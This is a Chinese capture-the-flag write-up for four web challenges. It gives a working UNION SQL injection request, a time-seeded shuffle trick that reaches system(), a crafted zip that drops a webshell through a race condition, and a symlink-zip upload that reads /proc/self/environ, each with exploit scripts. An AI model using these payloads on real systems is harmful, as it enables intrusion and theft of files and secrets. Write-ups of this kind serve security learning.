babysql

最简单的一道,可以直接sqlmap一把梭,仅仅是ban掉了 空格,用 /**/ 代替即可

flag在 emails 表里

GET /search.php?id=-1/**/union/**/select/**/1,version(),group_concat(email_id)/**/from/**/emails%23&search=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Host: 1.14.97.218:23504
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://1.14.97.218:23504/search.php?id=1%27+or+1%3D1%2523&search=%E6%9F%A5%E8%AF%A2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: td_cookie=3934571967
Connection: close

image-20220924090848544

ezphp

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
mt_srand(time());
$a = array("system",$_GET['cmd']);
for ($i=0;$i<=10000;$i++){
    array_push($a,"Ctfer");
}
shuffle($a);
$a[$_GET['b']]($a[$_GET['c']]);

shuffle 函数打乱数组是伪随机的,本地启个环境把时间戳种子提前几秒找到对应的下标,后续进行爆破即可

image-20220924094117346

image-20220924094138103

image-20220924094051835

另外两道逆天的题没做出来,赛后复现

upload

黑盒测试发现只能上传 .zip.rar 文件,而且无任何回显,搁着猜谜呢

扫目录扫出来 .upload.php.swo 谁家的字典这么好用啊😓

得到 upload.php 的源码

<?php
error_reporting(0);
$type = pathinfo($_FILES["file"]["name"],PATHINFO_EXTENSION);
if ($type != "zip" && $type != "rar"){
 die("no");
}
$random_path = "upload/".md5(uniqid(mt_rand(), true));
$file_name = md5(uniqid(mt_rand(), true)).".zip";
mkdir($random_path);
$file_path = $random_path."/".$file_name;
move_uploaded_file($_FILES['file']['tmp_name'],$file_path);
$zip = new ZipArchive();
if (file_exists($file_path)){
 try {
        $zip->open($file_path);
        $zip->extractTo($random_path);
        $zip->close();
 }catch (Throwable  $e){
        $zip->close();
        rename($random_path,"error/".md5(time()));
 }
}
system("rm -rf error/*");
system("rm -rf upload/*");

上传 .zip 文件后会在 upload 目录下创建一个 随机目录, zip文件放在这个随机目录里,且文件名也是随机的,之后会将这个 .zip 文件解压到 upload 下的随机目录中,所以想要直接访问解压后的文件不太现实。注意到程序进行了异常捕获,解压出错时会重命名 upload 目录及下面的目录名称(文件名没变),改为了 error/md5(time())

所以现在就需要构造一个会让 ZipArchive 出现异常的压缩包,把文件解压缩到 error/md5(time()) 这个确定的目录下,然后条件竞争访问即可。

怎么构造这样的压缩包呢,这里我直接用p神的原话了:

https://wx.zsxq.com/dweb2/index/topic_detail/818248224188122

怎么制造一个只能解压一半的压缩包(即解压到一半出错的)? 这个问题其实需要看具体情况,看解压的那个程序的容忍程度。因为finecms这个例子太久远了,我也懒得找那么久远的代码来复现,我这里就以两个解压的程序作为例子:

  1. Windows下的7zip
  2. PHP自带的ZipArchive库 先说7zip。

7zip的容忍度很低,只要压缩包中某一个文件的CRC校验码出错,就会报错退出。 如何修改压缩包里文件的CRC校验码呢?可以使用010editor。我们先准备两个文件,一个PHP文件1.php,一个文本文件2.txt,其中1.php是webshell。然后将这两个文件压缩成shell.zip。 然后我们用010editor打开shell.zip,可以看到右下角有这个文件的格式信息,它被分成5部分,如图1。

img

我们打开第4部分,其中有个deCrc,我们随便把值改成其他的值,然后保存,图2。

img

此时用7zip解压就会出错,解压出的1.php是完好的,2.txt是一个空文件,如图3。

img

我们再用PHP自带的ZipArchive库(代码如图4)img测试这个zip,发现解压并没有出错,这也说明ZipArchive的容忍度比较高。 那么我们又如何让ZipArchive出错呢?最简单的方法,我们可以在文件名上下功夫。 比如,Windows下不允许文件名中包含冒号(:),我们就可以在010editor中将2.txt的deFileName属性的值改成“2.tx:”,如图5。

img

此时解压就会出错,但1.php被保留了下来,如图6。

img

在Linux下也有类似的方法,我们可以将文件名改成5个斜杠(/////),如图7

img

此时Linux下解压也会出错,但1.php被保留了下来,如图8。

img

按上述方法准备一个 shell.php1.txt ,将他们一起压缩,然后用010edit修改这个压缩包里 1.txtdeFileName 为 5个斜杠 /////

image-20220926115910943

保存上传然后条件竞争访问

这里因为题目环境无了,也不知道是php版本的我呢提还是啥的,打不出来错误,只有警告,后面自己魔改了下,把try catch改为了if 判断,解压失败会返回 false ,一个意思,不影响思路。

<?php
error_reporting(0);
$type = pathinfo($_FILES["file"]["name"],PATHINFO_EXTENSION);
if ($type != "zip" && $type != "rar"){
 die("no");
}
$random_path = "upload/".md5(uniqid(mt_rand(), true));
$file_name = md5(uniqid(mt_rand(), true)).".zip";
mkdir($random_path);
$file_path = $random_path."/".$file_name;
move_uploaded_file($_FILES['file']['tmp_name'],$file_path);
$zip = new ZipArchive();
if (file_exists($file_path)){
       $zip->open($file_path);
       $res = $zip->extractTo($random_path);
       if($res) {	//改为了if判断是否解压成功
           $zip->close();
       }else {
           $zip->close();
           rename($random_path,"error/".md5(time()));
       }
}
system("rm -rf error/*");
system("rm -rf upload/*");

打条件竞争拿道flag,exp

import requests
import hashlib
import threading
import time

url = 'http://localhost'

def upload():
    requests.post(f"{url}/upload.php", files={'file': open('exp.zip', 'rb')})
    dir = hashlib.md5(str(int(time.time())).encode()).hexdigest()
    response = requests.post(f"{url}/error/{dir}/shell.php", data={'cmd': "system('cat /*');"})
    if response.status_code == 200:
        print(response.text)
        exit(0)

if __name__ == '__main__':
    while True:
        a = threading.Thread(target=upload)
        b = threading.Thread(target=upload)
        a.start()
        b.start()

image-20220926214959004

zip-question

这题基本上都卡第一不了,这是misc题吗?破题😅

打开题目环境说

go /backup to pack the source code(with aes encrypted), sha1sum(password) is the filename, good luck!

说了源码是启用 AES-256 模式生成受密码保护的 ZIP 存档

该题解法来自 @Carrot2

这个压缩包的知识点

https://zhuanlan.zhihu.com/p/556802060

简单总结一下

在启用 AES-256 模式生成受密码保护的 ZIP 存档时 ,如果密码太长(大于64字节),ZIP 格式会使用 PBKDF2 算法并对用户提供的密码进行 hash 处理。

举个例子

假如压缩包密码是password(长度大于64字节),那么压缩程序实际使用的密码为 hashlib.sha1(password.encode()).digest()

/backup访问后能得到一个压缩包,根据题目描述文件名是经过sha1的压缩包密码,根据上面的补充知识,那么可以写脚本解密文件,这里参考 @Carrot2

import binascii 
import pyzipper 
with pyzipper.AESZipFile('5ed45823400f0de870dae3e6be4e9bb6acfac759.zip') as zf:
    zf.extractall(pwd=binascii.unhexlify("5ed45823400f0de870dae3e6be4e9bb6acfac759"))

解密后得到程序源码 main.py

import datetime
import hashlib
import os
import random

import pyzipper
from flask import Flask, Response, send_file, request

app = Flask(__name__)


@app.route('/')
def index():
    return Response(
        'go /backup to pack the source code(with aes encrypted), sha1sum(password) is the filename, good luck!',
        mimetype='text/plain')


@app.route('/hello_world', defaults={"timestamp": None})
@app.route('/hello_world/', defaults={"env": None})
@app.route('/hello_world/<timestamp>')
@app.route('/hello_world/<timestamp>/', methods=['GET'])
@app.route('/hello_world/<timestamp>/<env>', methods=['GET'])
def hello_world(timestamp=None, env=None):
    if timestamp is None or env is None:
        return Response('hello world!', mimetype='text/plain')
    if datetime.datetime.now().timestamp() - float(timestamp):
        return Response('timeout', mimetype='text/plain')
    e = str(env).split('=')
    os.environ[e[0]] = e[1]
    resp = Response(str(os.system('dash -x -c "echo hello world"')))
    os.environ[e[0]] = ''
    return resp


@app.route('/read_flag', methods=['GET', 'POST'])
def read_flag():
    if request.method == 'POST':
        f = request.files['file']
        filename = hashlib.sha1(f.filename.encode(encoding='utf-8')).hexdigest()
        rand = hashlib.sha1(random.randbytes(256)).hexdigest()
        f.save(f'uploads/{filename}')
        os.system(f'unzip -q uploads/{filename} -d uploads/{rand}-d ')
        return open(f'uploads/{rand}-d/flag').read()


@app.route('/backup')
def backup():
    secret_password = random.randbytes(256)
    filename = 'zips/' + hashlib.sha1(secret_password).hexdigest() + '.zip'
    with pyzipper.AESZipFile(filename,
                             'w',
                             compression=pyzipper.ZIP_DEFLATED,
                             encryption=pyzipper.WZ_AES) as zf:
        zf.setpassword(secret_password)
        zf.writestr('main.py', open('./main.py').read())
    resp = send_file(filename)
    return resp


if __name__ == '__main__':
    app.run(port=8000, host='0.0.0.0')

read_flag 这个地方存在任意文件读取漏洞,将一个软连接文件压缩后上传,然后经过这个解压后,读取这个软链接文件就可以达到任意文件读取的目的

根目录没有flag,尝试读取环境变量发现flag

import os
import requests

url = "http://localhost/read_flag"

def readFile(readFile):
    os.system("rm -f flag")
    os.system("rm -f result.zip")
    cmd = f"ln -s {readFile} flag && zip -y result.zip flag"
    os.system(cmd)
    with open("./result.zip", "rb") as f:
        file = {"file": f}
        res = requests.post(url, files=file).text
    return res

if __name__ == "__main__":
    print(readFile("/proc/self/environ"))
    

image-20220927193731464